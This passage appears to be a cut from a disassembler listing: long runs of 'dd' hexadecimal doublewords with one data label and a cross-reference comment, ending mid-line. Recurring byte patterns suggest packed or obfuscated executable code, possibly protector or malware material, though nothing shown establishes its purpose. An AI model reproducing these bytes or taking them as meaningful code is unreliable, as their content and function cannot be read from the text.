8A1DE89Dh, 2BBD2910h, 175D690h, 0D5DAAA30h, 7650ED58h dd 0A851A245h, 18EA80F8h, 0ADB6821Ch, 58B9E2DFh, 32DC0885h dd 8FFB2AFFh, 103771BAh, 2173E394h, 83FB63CFh, 0F79C2629h dd 0EDDAC3B9h, 82D7E3A8h, 44DAF745h, 0EAE9EED7h, 2359D7CEh dd 0CFD22629h, 0A851A2B9h, 75BF8654h, 4F71FBD7h, 26DDA151h dd 25FB6377h, 641581CEh, 0CE825D40h, 0ECE4AAECh, 29028EEh dd 319577Fh, 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h dd 0A0242925h, 4D1957DFh, 0A8515E00h, 32732A54h, 3376B77h dd 8ABEB0D9h, 7BAEA7ABh, 4B959232h, 4FD0923h, 866801FEh dd 0C9ADDFCCh, 43E96FDFh, 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h dd 8668A15Ch, 0A8ADE782h, 0EC152A54h, 0CEB824FDh, 218FA7FFh dd 57544C45h, 20A09A87h, 25FB0E03h, 641581CEh, 0CE825D40h dd 0ECD8ACECh, 0A42C89EEh, 0EBE957DDh, 61ADE7CEh, 0DF152296h dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 57A7C0D5h, 0ED96A7A8h dd 8A152AA8h, 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh dd 2C5E8979h, 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h dd 8A152A38h, 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh dd 0A851D6ACh, 8660D554h, 2559D7BAh, 67CDCDCEh, 32DCF140h dd 8FF8F3EAh, 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h dd 70A638C8h, 7462FB9h, 45881CDFh, 3C6D551h, 92B85E00h dd 75152A54h, 0DDAEAE30h, 898FA75Ch, 0FB544F9Ch, 53ABB0D9h dd 7BAEA7A8h, 63E96FDDh, 0A851A258h, 75195FABh, 32DCAA30h dd 8FF8F35Bh, 16CB2F16h, 7510C78Dh, 54142B96h, 8A152ABDh dd 0EDDAC345h, 82D7E3A8h, 3044BA45h, 8D8D0000h, 5EDDF4Bh dd 0EE9h, 0AE768B00h, 648C7435h, 577173Ch, 89E90BA1h, 0E71AA98Dh dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 8D293B4Dh, 5E7318Dh, 2A4D85C7h, 74D005E7h dd 30B80000h, 0C71C4D0Dh, 0E7273985h, 5, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0A6BA66EAh, 49B5FF90h, 6A05E724h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1869C351h dd 22F7E7ECh, 9595FFB2h, 6A05E717h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0B03AC353h dd 0FF006AB0h, 0E721C195h, 0EBC08B05h, 0B636FB3Ch, 0EC647C4Ah dd 654D2F93h, 69433764h, 4BA61383h, 0C6E14BDh, 7C686234h dd 0C4DA0602h, 490B4118h, 0F2588E37h, 3F090A4Dh, 1519DAADh dd 0C886C289h, 27B70147h, 76FEB642h, 878D8D9Bh, 6A05EDE0h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0F89DC353h, 8166F819h, 89E2ECE8h, 0E71AA98Dh dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0BE5085EDh, 0B4362371h, 4D85C788h, 0F805E72Ah dd 6A00005Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 10E2C352h, 0EADF9E0Ah, 0AE9709Dh dd 95000000h, 89187CBEh, 73BC9F0Fh, 3985C732h, 5E727h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 274BC355h, 587A4F16h, 0A7BB663Eh dd 0E1B5FFF7h, 0FF05E71Ch, 0E7179595h, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0FD047864h, 89634140h, 0E70C3DB5h, 0FF006A05h, 0E721C195h dd 0EBC08B05h, 97A3EA4Fh, 644FA055h, 0A3713E91h, 12F757E4h dd 98CC4F18h, 0E492422Bh, 0BD38D464h, 956493F3h, 0EBDC32C7h dd 3F25694Dh, 0CD76D8A9h, 1ABB68F7h, 0B0A21491h, 7C0B8E48h dd 0FAADDF57h, 4BC67FEDh, 0E408279Dh, 0F3DB339Ah, 645D5E71h dd 6A9A85AFh, 0CE8h, 0C58B8600h, 66048BB7h, 204A22DFh dd 0C1BF0F18h, 0ACB9665Fh, 71C78109h, 60000069h, 80A6BB66h dd 6880Fh, 8D890000h, 5E721D5h, 6861h, 9D290000h, 5E70155h dd 34FFF55Bh, 9E83Bh, 78450000h, 57F7023Fh, 81402530h dd 0BC618DF6h, 0B85A5835h, 18BF683h, 4E0AEA81h, 0F2813A5Fh dd 25E6A7Dh, 0EE8h, 0E8FA6600h, 0C83B9DF7h, 99EA43E2h dd 0F8012FB7h, 0E4EA8159h, 0B048A374h, 48F5297h, 0E5BD891Fh dd 8105E732h, 0F4C400D9h, 0CCEB8148h, 0E9268156h, 13h dd 0D115117Fh, 7671FB26h, 71306304h, 0C53D341Dh, 816D0AC9h dd 8156C8C3h, 81E28A26h, 0FF9778FBh, 13850FFFh, 80000000h dd 23E969CCh, 17000000h, 296725A1h, 187D96C7h, 94BEE8A0h dd 0E94E552Dh, 0FFFFFF5Ah, 2587E1Eh, 0DD6C004Ah, 0E626A8Bh dd 16EB8FAFh, 5 dup(0) dd 3EC0101h, 5ED0000h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 78C35646h, 83F2DEEEh, 50CEBF0Fh, 0D763BF66h dd 66240489h, 804F381h, 0BE8006Ah, 1A000000h, 0EF6128EEh dd 139038D1h, 7E95A3Dh, 88000000h, 9086DAF8h, 6A5FDBD1h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0C165D84Eh, 8DEF7E9Fh, 0EDE31E85h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0A2D59E60h, 129A1DE7h, 8D8B033Dh, 5E71205h, 0DE950h dd 5E80000h, 0F38263Ch, 0BF4565D4h, 8993EE47h, 6A2404h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 89E3E3C3h, 0E71A3995h, 0E99D8B05h, 6A05E712h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0D5A5E59Dh, 8B66006Ah, 4D95FFFAh, 6A05E71Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 32BAC357h, 657E911h, 0E8F50000h, 0 dd 23ED815Dh, 6A05EDE3h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 26B8C351h, 0D78BF2ACh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 48C35646h dd 5224122Bh, 35BD09BFh, 8005E701h, 626854D3h, 0B37E7689h dd 243481A4h, 7E7686C2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0E5C35343h, 0A5B3B06h, 73C78166h, 0DBB70F8Bh dd 0FFF8B70Fh, 0E721C195h, 9D895705h, 5E71BBDh, 0CFB58D5Bh dd 2905EDE1h, 0E70265BDh, 5206C705h, 666D6765h, 0FDA0E781h dd 6F0446C7h, 296C636Eh, 0E708C18Dh, 846C705h, 737361h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B6C35747h dd 0C7EE931Dh, 0AED87105h, 89006AE7h, 0E7068995h, 0B59D2305h dd 8D05E707h, 0EDE1CF85h, 0CD958B05h, 5005E713h, 14E8h dd 0F0B87F00h, 15DF0FC9h, 0C28017BFh, 0F442AD17h, 0A99F2272h dd 14E978h, 0AB540000h, 5A1F77Ch, 628A6FABh, 3E2000EEh dd 7DE923F2h, 895B47C1h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0D5397FC3h, 965C41E3h dd 0FFD7B70Fh, 0E7022995h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 92BFAA5Eh dd 26B2FC5Fh, 840FC00Bh, 35h, 0D129BA66h, 445E9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 5D31E8E4h, 6850F6Dh, 89000000h, 0E724F99Dh, 0F6806805h dd 481F034h, 0CB0AAC24h, 57006A0Fh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0B917BEFEh, 6B99F6AEh dd 0E6DA805Ah, 21C195FFh, 9D3105E7h, 5E713BDh, 0E1CFB58Dh dd 0AE905EDh, 7A000000h, 5256ABE6h, 0CD5499C9h, 0D3B7BBDDh dd 6C72820h, 36343831h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0E6C35141h, 0DFF242CBh, 8B6631DEh, 518D0BF9h dd 0C705E72Bh, 2D370446h, 0B5893134h, 5E70369h, 846C7h dd 0F000000h, 6AD0B7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 7C35747h, 0B9CEFEBEh, 14658589h, 8B6605E7h dd 0CF858DDEh, 6A05EDE1h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 5F22C353h, 2FF96FB0h dd 8B2618D3h, 0E7002D9Dh, 1DB50105h, 5005E71Dh, 0BF665250h dd 310FD846h, 0FE9h, 0E3033800h, 0CC89597h, 2864884Eh dd 0E6C55807h, 489585Ah, 51006A24h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 6078D046h, 0EE9h, 3AE4A800h dd 1CF20108h, 61541D51h, 89073F63h, 0E72C298Dh, 2995FF05h dd 2905E702h, 0E727DD95h, 0FC00B05h, 6484h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0A0572732h, 89C7DFF1h, 0E72CC59Dh, 27CE905h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0C1860DC3h, 0ED9D8BBAh, 0E905E729h, 0Dh, 0F01C83A4h dd 0D5E8A88Dh, 3C863ECCh, 4E8B9h, 12C0000h, 8B660000h dd 0BE950DEh, 8F000000h, 5D259773h, 2A605B39h, 448B77F2h dd 32BA0424h, 8B7F49E0h, 24448900h, 158E0F04h, 0E8000000h dd 0Bh, 7F3C8C0Ch, 0EDD4375Fh, 6628BEA9h, 5B6EDEBAh, 89952358h dd 8905E721h, 0E7024DBDh, 0C195FF05h, 6A05E721h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0D791C355h, 0DC7DF2A8h, 60601EBCh, 1965B58Bh, 0AE905E7h dd 54000000h, 41CF2579h, 1207C290h, 95896108h, 5E71575h dd 89BD8961h, 8D05E725h, 0EDE1CFB5h, 37DB8005h, 694606C7h dd 6A656Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 8A3637C3h, 88509F13h, 0C7307EC6h, 6F6D0446h dd 6A636Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0B6BF8C3h, 28A0FDBh, 8B000000h, 846C7DEh dd 7373616Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0E0C35343h, 96A7E4F3h, 0C46C71Dh, 0 dd 10E8h, 7DF40300h, 0B6E394BEh, 0C7EE931Dh, 0AED87105h dd 59CF8BE7h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0C6DA0C3h, 0BCD9C67Dh, 8E965h, 0C84B0000h dd 0EF0EA292h, 858D3164h, 5EDE1CFh, 0DEB70F50h, 0BB66905Ah dd 0B95053AFh, 73ECF3CCh, 659D8990h, 0FF05E732h, 0E7022995h dd 24DA8105h, 0B416158h, 64840FC0h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 8BD9C355h, 0FC2CD996h, 624BFD51h, 71BD8B60h, 0F05E72Bh dd 689h, 0E5958B00h, 6105E715h, 59E9h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0C1B5092Bh, 6605E727h, 0E9F1E3BFh, 0FFFFFA4Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 44C35242h, 3005241Bh dd 9AD6F2E3h, 0F552601Dh, 0F8BE665Eh, 0B58D6113h, 5E772CAh dd 1A45BD29h, 0B805E7h, 66000000h, 0E6FFCF8Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 1C35646h, 0C60D59DBh dd 0FB522869h, 68D0F8Dh, 31000000h, 0E71AB9BDh, 5E805h dd 36730000h, 0F5944ADEh, 14E85Bh, 23860000h, 0D630F9Dh dd 0D4BF5C38h, 2955A615h, 0D5D921A5h, 8D8B6E03h, 5E72EB5h dd 8DC18B5Bh, 0E70BA59Dh, 1434B805h, 85890000h, 5E705FDh dd 0E8h, 0D055800h, 89000000h, 1434E903h, 13h dup(0) dword_5AD588 dd 4FAh dup(0) ; DATA XREF: sub_542C3C+22308o dd 11E80000h, 11000000h, 630A1F44h, 0B783ADDEh, 0FC8F39E9h dd 1DC7362Ah, 29659589h, 895805E7h, 0E71D4DB5h, 29C08105h dd 66000068h, 0AB5E981h, 0CDD1EEBBh, 0FEB817Ah, 8B7ACDB8h dd 0E709AD8Dh, 9388B05h, 0E72D6D85h, 0D3EF8105h, 0E8569803h dd 11h, 526BD180h, 616EE34Ch, 3A5ADD35h, 0E137422Eh, 0FD8D2BAEh dd 5E05E713h, 0F426EF81h, 0F7815625h, 5C752EC5h, 40ABA52h dd 575A40C0h, 8FC88B66h, 0EE900h, 0D5E30000h, 7E557D15h dd 0D7550CC5h, 0CEBFF64Ch, 0B432E881h, 81F93881h, 81B42EC0h dd 0D9FCBE38h, 0EB811EB1h, 1, 0FF8B850Fh, 24B5FFFFh, 3BE9h dd 0BD8B6000h, 5E71985h, 3304EF83h, 0BBC18BC9h, 0EDB88320h dd 0BE04C783h, 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh, 41FFFFFFh dd 0F9810789h, 100h, 0FFD3820Fh, 0C361FFFFh, 2AE9C88Bh dd 0C7000000h, 2404h, 0E80000h, 5D000000h, 0FED6ED81h dd 448B05EDh, 85890424h, 5E71CA9h, 0B8h, 248D8D00h, 0FF05E74Dh dd 6754B8E1h, 0ED550000h, 7A5E75FDh, 69A476F6h, 49BC56E6h dd 2025B9FDh, 200B1FFDh, 201C5CFDh, 2095B2FDh, 2050ACFDh dd 20B29AFDh, 20C263FDh, 207A40FDh, 20263FFDh, 200B7AFDh dd 201C33FDh, 209794FDh, 2051F1FDh, 20B3D6FDh, 20C2B3FDh dd 20787FFDh, 2025C3FDh, 8A259DFDh, 0A2229535h, 714A76D6h dd 4BBD5CDEh, 7A5A5CF4h, 722775FDh, 799775F5h, 78CB74FDh dd 7DED73FDh, 7BF374F5h, 7B7874FCh, 7ABC75FCh, 7A5E75FDh dd 235676FDh, 233E75A7h, 7ACB75A7h, 7BE475FDh, 7BF374FCh dd 0B29074FCh, 1ABC75F8h, 794FF070h, 0FFA67013h, 7F7A8AB5h dd 79ECF070h, 0FF6C7013h, 7F1F8AF5h, 791CF070h, 0FF357013h dd 7FB38AB9h, 78EAF070h, 0FF1E7013h, 7F268AF1h, 7861F070h dd 0FF7B7013h, 7F948AEDh, 7B9EF070h, 0FFD77013h, 7FC28AE9h dd 7BA3F070h, 0FF427013h, 7F088AE5h, 7BB8F070h, 0FFF07013h dd 7F518AE1h, 7BFBF070h, 0FFA67013h, 7F7A8AD5h, 7BBAF070h dd 0FF6C7013h, 7F1F8ADDh, 7BE9F070h, 0FF357013h, 7FB38AD9h dd 7B8AF070h, 0FF1E7013h, 7F268AD5h, 7B3AF070h, 0FF7B7013h dd 7F948AC5h, 7B42F070h, 0FFD77013h, 7FC28AC1h, 78B6F070h dd 0FF427013h, 7F088ABDh, 7898F070h, 0FFF07013h, 7F518AD1h dd 78FFF070h, 0FFA67013h, 7F7A8ACDh, 79F7F070h, 0FF6C7013h dd 7F1F8AC9h, 5A20F076h, 0FF35701Ah, 7FB38A7Ch, 6E0AF076h dd 0FF1E701Ah, 7F268A78h, 0F1B0B69Ch, 7AF29D11h, 0FB2375FDh dd 94BCE017h, 3FD525F8h, 0FAADFDF5h, 22929802h, 7ACFB734h dd 29B723ACh, 7A1A20ADh, 277975FDh, 7A0A987Ch, 0FFA07013h dd 7FC28AFAh, 8590C87Dh, 9CF7010h, 75E4C5B4h, 0BAF9B54Bh dd 0EF863589h, 7F518A78h, 2B96FEBDh, 7A2F7A45h, 0FF028AFDh dd 0F7CE9802h, 971A7D48h, 0FCC6F8F8h, 7E4B9D50h, 6FCF75FDh dd 7A5E7645h, 0FFBA8AFDh, 0F7929802h, 97347D48h, 0FCD1F8F8h dd 23228A50h, 0F787BC1Fh, 7F518AFAh, 20052DA0h, 92EC2CA3h dd 7A97776Dh, 79C1CD4Dh, 0FB708A57h, 0D1F79802h, 78079D3Eh dd 0C2DA75FDh, 5954CD9Bh, 0EFD0DE9Bh, 7F7A8A7Ch, 9208DE9Bh dd 7AE57795h, 72F3360Bh, 0EF866E88h, 7F518A7Ch, 7954C54Dh dd 0FBBA8AADh, 20929802h, 7E2BF69Bh, 1C277E9Bh, 6B1AB656h dd 297975FFh, 7ABE4E15h, 0A0652FFDh, 59A57B89h, 7094913Dh dd 0BA07F5DFh, 0D183FE4Dh, 7B009D3Eh, 922A75FDh, 7ABC77E1h dd 0E844EA7h, 0D049C512h, 0A77FA916h, 8CCB75FCh, 0FED74BEh dd 7B1A26D3h, 207975FFh, 72BD360Bh, 0A0655488h, 59A56889h dd 7094913Dh, 0BA07F5DFh, 85B5FF4Dh, 970DF468h, 5F1F2FF8h dd 71DA51FDh, 0B9F5133Fh, 9285E94Dh, 7A9774BDh, 9261F44Dh dd 7AE57435h, 7AF22D15h, 5791DEFDh, 0CABC75FCh, 0CA9DDF60h dd 5BC7DF61h, 1C9775FCh, 1C4A1345h, 7B439D56h, 4C1A75FDh dd 1C7975FDh, 7BB69D56h, 0E7EE75FDh, 0E69FB657h, 7A699D57h dd 0F32375FDh, 8CE575FCh, 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h dd 9EDEDFFDh, 84487DF9h, 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh dd 0EF0D75FDh, 7F948A78h, 85F0C070h, 8A5D7010h, 0D02C7F51h dd 8516E002h, 92087010h, 7AE574E5h, 79F8254Dh, 844B9D57h dd 43548A02h, 0CA5E75FCh, 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh dd 851A8BE1h, 4BFDCD9Bh, 6B91DE9Bh, 0CA438A03h, 22EEDFA7h dd 929FB657h, 923C2257h, 7ACB750Ch, 5122FEA7h, 7E1AF63Fh dd 8B917774h, 92438A00h, 7A5E7505h, 79252D4Dh, 0FF69B657h dd 7F268B03h, 841BC87Dh, 0FF37010h, 0AFCF8ECh, 2AB99802h dd 7A5C6115h, 781B9DFDh, 1A2775FDh, 87759D57h, 0C30D8A02h dd 0CA0D8A00h, 0F787DF9Ch, 7F518B03h, 84A0C87Dh, 0F2F7010h dd 0A12F8F1h, 2ACE9802h, 7AE4DE15h, 7E4AB6FDh, 857975FDh dd 9743F068h, 0B7C3F8F8h, 0F02A9BFEh, 0B93D6DF9h, 2D619C4Dh dd 7A8E9D56h, 0F1A875FDh, 0F9BB5E3Ah, 78357115h, 0FBCB8A3Eh dd 0CE2A9802h, 0E96514Ah, 0CA74C1FFh, 924E13F2h, 7AF275C9h dd 7A279DAEh, 0F0E675FDh, 79BEB5FEh, 7825B5F1h, 0EF68B657h dd 7F268A7Ch, 0FAEA917Dh, 7542F539h, 0D12EDE9Bh, 85415A15h dd 0BDD52F02h, 92ACB7D6h, 0B995FCF9h, 7ACB7345h, 0FF708AFDh dd 0F7F79802h, 97861160h, 39A0F8F8h, 7A4ECD3Eh, 0EFD075FDh dd 7F7A8A78h, 0F1CEB57Eh, 0EF1A8935h, 7F1F8A7Ch, 0B98E9757h dd 8543BE15h, 7B1DFF02h, 8E5A72D9h, 6C7F7677h, 8CB75FCh dd 831DB616h, 0F1A78908h, 86BDF611h, 7ABC9D9Dh, 0FB0475FDh dd 942CA817h, 86EAFCF8h, 854BCF7Dh, 75E57010h, 7AF2EC79h dd 7A73CDFDh, 0E84375FDh, 7FB38A78h, 0F3ADFCBDh, 0F1929802h dd 0CB79F835h, 85E09BF9h, 970DF46Fh, 3C7FFDF8h, 6D04801Fh dd 795E75FDh, 97D0FC7Fh, 0E01A35F8h, 7F257158h, 0F3E1B67Eh dd 644B22FEh, 797975FDh, 9743FC77h, 0E9ECF8F8h, 892A9BF9h dd 722F2B59h, 85CB75FDh, 971AF06Fh, 7E0AF6F8h, 7C718589h dd 7ABC7244h, 4B5A7DFDh, 0BBF7C3F2h, 742E761Eh, 72CB75FDh dd 765C44E1h, 72F275FDh, 61C044F9h, 72BC75FDh, 66E744F9h dd 722F75FDh, 5B7F44F9h, 0F3348A01h, 0F1848980h, 0B93B8980h dd 7A7F9DADh, 229C75FDh, 8E7A1102h, 5E6BFCA5h, 3E16E905h dd 2CB389D9h, 3A7867C9h, 7AF2B6ADh, 7A7975FDh, 7ABC75FDh dd 1AB2FEA8h, 7A2F7515h, 90162FFDh, 7F257139h, 8568CF70h dd 0F797010h, 7A71CCF5h, 0DE4F75FDh, 7E9CBC9Ch, 0E7A226FDh dd 7F7A8A70h, 7BD3497Dh, 83BE7188h, 82A97716h, 96F2203Eh dd 7ABC9D9Dh, 0FB0475FDh, 942B8817h, 0F725F8F8h, 0F1CE9802h dd 725C7D80h, 89F275FDh, 0B8B01459h, 0F7DC75F9h, 97A1F840h dd 0C3EF46F8h, 7A9775F5h, 0B9AADF0Eh, 0F758F89Dh, 0FBF79802h dd 7B7874C2h, 0FBB000FCh, 7B5F7182h, 795A74FCh, 82969E04h dd 0F7ABB69Ch, 971AF840h, 7AF3CDF8h, 72C075FDh, 89BC75FDh dd 0F19D1457h, 0F7EFFE3Dh, 9768EF78h, 8BD08AF8h, 0CCE9CAh dd 0AD370000h, 7486D66Ch, 16CF1FB5h, 0E31D6D03h, 9368B84Eh dd 7EE70096h, 0F389A05Bh, 40D65BA3h, 8A2011F0h, 0D66CC53Ah dd 17FBE801h, 9F5A7FD9h, 3AC634B9h, 70F89CA9h, 1F857647h dd 6D9331D2h, 0BF80DC4h, 54925527h, 0C86997AFh, 457DE37Bh dd 0ADBB2453h, 26E6AB6Eh, 0C954D425h dd 5516DFA1h, 55362644h, 490F2155h, 84563D96h, 46523623h dd 0CDA5559h, 16A06EA6h, 3000000h, 0D9BDAABFh, 615491D3h dd 9AE15B93h, 7E1B8E88h, 0F8308012h, 0FB1EC6E7h, 0FE33CCAEh dd 0FF32CFB1h, 32ED0B2h, 227D4B6h, 128D3B5h, 32ED2B4h dd 811D4B6h, 821D9BBh, 71686FBBh, 0E905EE05h, 0FFF97A5Fh dd 0C4C50617h, 0F4F167BDh, 236D813Bh, 25B80C12h, 305EE06h dd 0D404EBC5h, 0E937AB71h, 0DACh, 0EE085668h, 7A35E905h dd 7F68FFF9h, 0E905EE09h, 0FFF97A2Bh, 0EE0A4368h, 7A21E905h dd 0F868FFF9h, 0E905EE0Ah, 0FFF97A17h, 0EE0E2768h, 7A0DE905h dd 4968FFF9h, 0E905EE11h, 0FFF97A03h, 0EE125968h, 79F9E905h dd 895BFFF9h, 50AAFA90h, 0F2F343D9h, 0BF419127h, 6F8CDC72h dd 0A20B24BAh, 17AD7C7Fh, 64FA37C7h, 0AE44ED14h, 0FA90A15Eh dd 3B1F0C25h, 0C35A7FDAh, 35C658DDh, 0A9BEA7F4h, 91D3D8BCh dd 5A926054h, 0E87EB34Eh, 0AC63D5FEh, 76D7E0BFh, 45926051h dd 78D7A484h, 0A3393F5Ah, 9BFC0EB8h, 20EF40h, 2C9A0000h dd 0EDDA91FBh, 5176CC16h, 0BA7BC896h, 5A78EBDAh, 0EE996F75h dd 409BE444h, 1125h, 0AABFD000h, 91D3D9BDh, 5B936154h dd 8F78Dh, 39C6F000h, 0B4C2ABF8h, 0FF97E44Dh, 0ED44BBC7h dd 0D23A6D57h, 0DFCF2E1Bh, 814F5176h, 0B3A0B5CAh, 5A78DFCFh dd 16FA8957h, 9E5A78E0h, 2EEF98D0h, 5A78DF4Eh, 0B2FF2AD0h dd 2DE859CCh, 85353717h, 9D946D7Ah, 0F745EA37h, 0FF059CE1h dd 38D47EE9h, 614409Bh, 8DFF37FAh, 3Bh, 40FB2C38h, 1461C832h dd 0D409ED7Ch, 0C3915491h, 0F2B9A65Dh, 6D5176FBh, 0EFD51F5Bh dd 8E3E4C1Ch, 0DC74C170h, 7BC896A4h, 798EDABAh, 996F755Ah dd 9B4744EEh, 0EA2540h, 0C6D00000h, 0C2ABF839h, 37F59BADh dd 0C9C48B89h, 9206563Ah, 0D810DE54h, 0ADFA2FCCh, 4CB334CBh dd 50327FE5h, 0B6CB82AFh, 9206E5C9h, 679F6D54h, 0AC64675h dd 37C85492h, 0EB1464FAh, 4A7DF946h, 8162BE2h, 57EF3CDDh dd 0F49341Fh, 83515177h, 1CA5B7CCh, 0C2DAF0C0h, 88569F8h dd 3F0D5A79h, 0F82B1507h, 9FECD990h, 1A575F9Dh, 0D6992608h dd 33ECE518h, 0D75D11EAh, 41F56Ah, 36B5F4B1h, 83515F97h dd 0EC3DBECCh, 0FF1FF56h, 53DD522h, 32702F9h, 0DF06BB56h dd 101DC19Eh, 1C00000Bh, 6BBB51C8h, 0B4049A8Fh, 252E831h dd 4D9D33FEh, 0CCE57BAEh, 6EBB4063h, 0BB7688D8h, 52CD525h dd 51E01F6Fh, 0E0CDE6BBh, 5A7FDBFCh, 0BF199E84h, 32E24FB1h dd 222E66B3h, 6ABA50D9h, 85AC5295h, 0A43AA038h, 6EBB3F4Dh dd 40518921h, 0DA91FB2Ch, 76FC26EDh, 8BD8A651h, 78FBEACAh dd 697F855Ah, 9BD454FEh, 0FF3540h, 0C6E00000h, 0D6BAA739h dd 5E5491D3h, 65732A90h, 7BAE4D9Ah, 0E330962Eh, 9DE1E9FDh dd 0DD439101h, 0E11AFCA5h, 0E12E03FEh, 3A270BF8h, 0E1AF5492h dd 505E157Bh, 6EAB3A95h, 6C238921h, 92399B7Fh, 1D552354h dd 89768B74h, 549239A5h, 3C275F2Dh, 54923DBCh, 0F7A241BEh dd 0B3FC87FAh, 5FD22EDEh, 0EC1363F9h, 4B7CF845h, 847B6897h dd 564C7832h, 0BC2288Eh, 7779331Eh, 0B66D3B51h, 79D0B4A1h dd 40585A79h, 89216EBBh, 0FF9EB23h, 0D0BD74E4h, 57600972h dd 5F6D24F2h, 0C8D68D9Ch, 0EC47FB36h, 0D67DA05Ah, 0DE35275Fh dd 0F4F8DCC9h, 0B2806062h, 9C8D6E7Ah, 65AEB78h, 0FEA27FDFh dd 9E7h, 0E47A9F45h, 2DC36694h, 7B1108DDh, 0C65CD52Bh dd 0EA48576h, 92698CF5h, 4DB10197h, 3FE4EE4h, 0B748982Eh dd 0F60FE47Ah, 7FDD2509h, 42C7AD5Ah, 0B6A335C6h, 5491D3D2h dd 90268C5Ah, 0DC72BF40h, 0F839C687h, 67A92F41h, 3553175Dh dd 66B37685h, 4ED96CEh, 0EF270AF6h, 7F151CE3h, 6192BCC0h dd 105340F7h, 98517786h, 53DC5DCAh, 0C3033CBAh, 5C712890h dd 577FA74Ah, 948108F0h, 43FD2B0h, 0CC046A38h, 24F7FEE1h dd 6BB88601h, 1603C4EFh, 0A26FE32h, 0D55CA2BAh, 248AF088h dd 91A05F6Dh, 6174AC44h, 10D93574h, 639DB507h, 83E981CEh dd 0F041BECCh, 3CF50A5Ah, 57D55518h, 54F8D52Fh, 923h, 0A83EDB09h dd 0F187A258h, 3FD544A1h, 8A2011EFh, 0D268C13Ah, 0CE2D50B9h dd 8975C55Bh, 3FC212A8h, 0F30C5CF2h, 0BAD3A83Eh, 7FDDE9CDh dd 68B715Ah, 4CAE39C6h, 0AEC077DDh, 6E63E093h, 19B86C2Eh dd 5482ED85h, 63DF88C0h, 2411C830h, 51777D01h, 76843B09h dd 0B910A68Bh, 7FD3B7A4h, 8D5B5A79h, 79B84955h, 9D4AB4C2h dd 0B269CF62h, 797FE1C5h, 639B695Ah, 8015F9BAh, 0E0C05A79h dd 0C85A796Fh, 61762D9Fh, 5DE3A94Fh, 8EC66984h, 5E5E88A3h dd 75C29057h, 0A68A778Ch, 2E606084h, 0E31C2860h, 852C10FDh dd 0E6B46060h, 0CB1B5C80h, 8A67DF08h, 86EE6h, 0F326BE00h dd 3CED0D5Dh, 8A8F56A6h, 0D55CA4F4h, 1D0CEF3Fh, 0E2056E87h dd 2A7A1019h, 77C75DD4h, 0C111A78Ah, 885DF33Eh, 0DD9E826Fh dd 40265A7Fh, 47FB2CBBh, 5B1278B9h, 69C83846h, 53BFA3B5h dd 7DB56E97h, 77597792h, 9A677F51h, 4CB24A97h, 0BB5E8795h dd 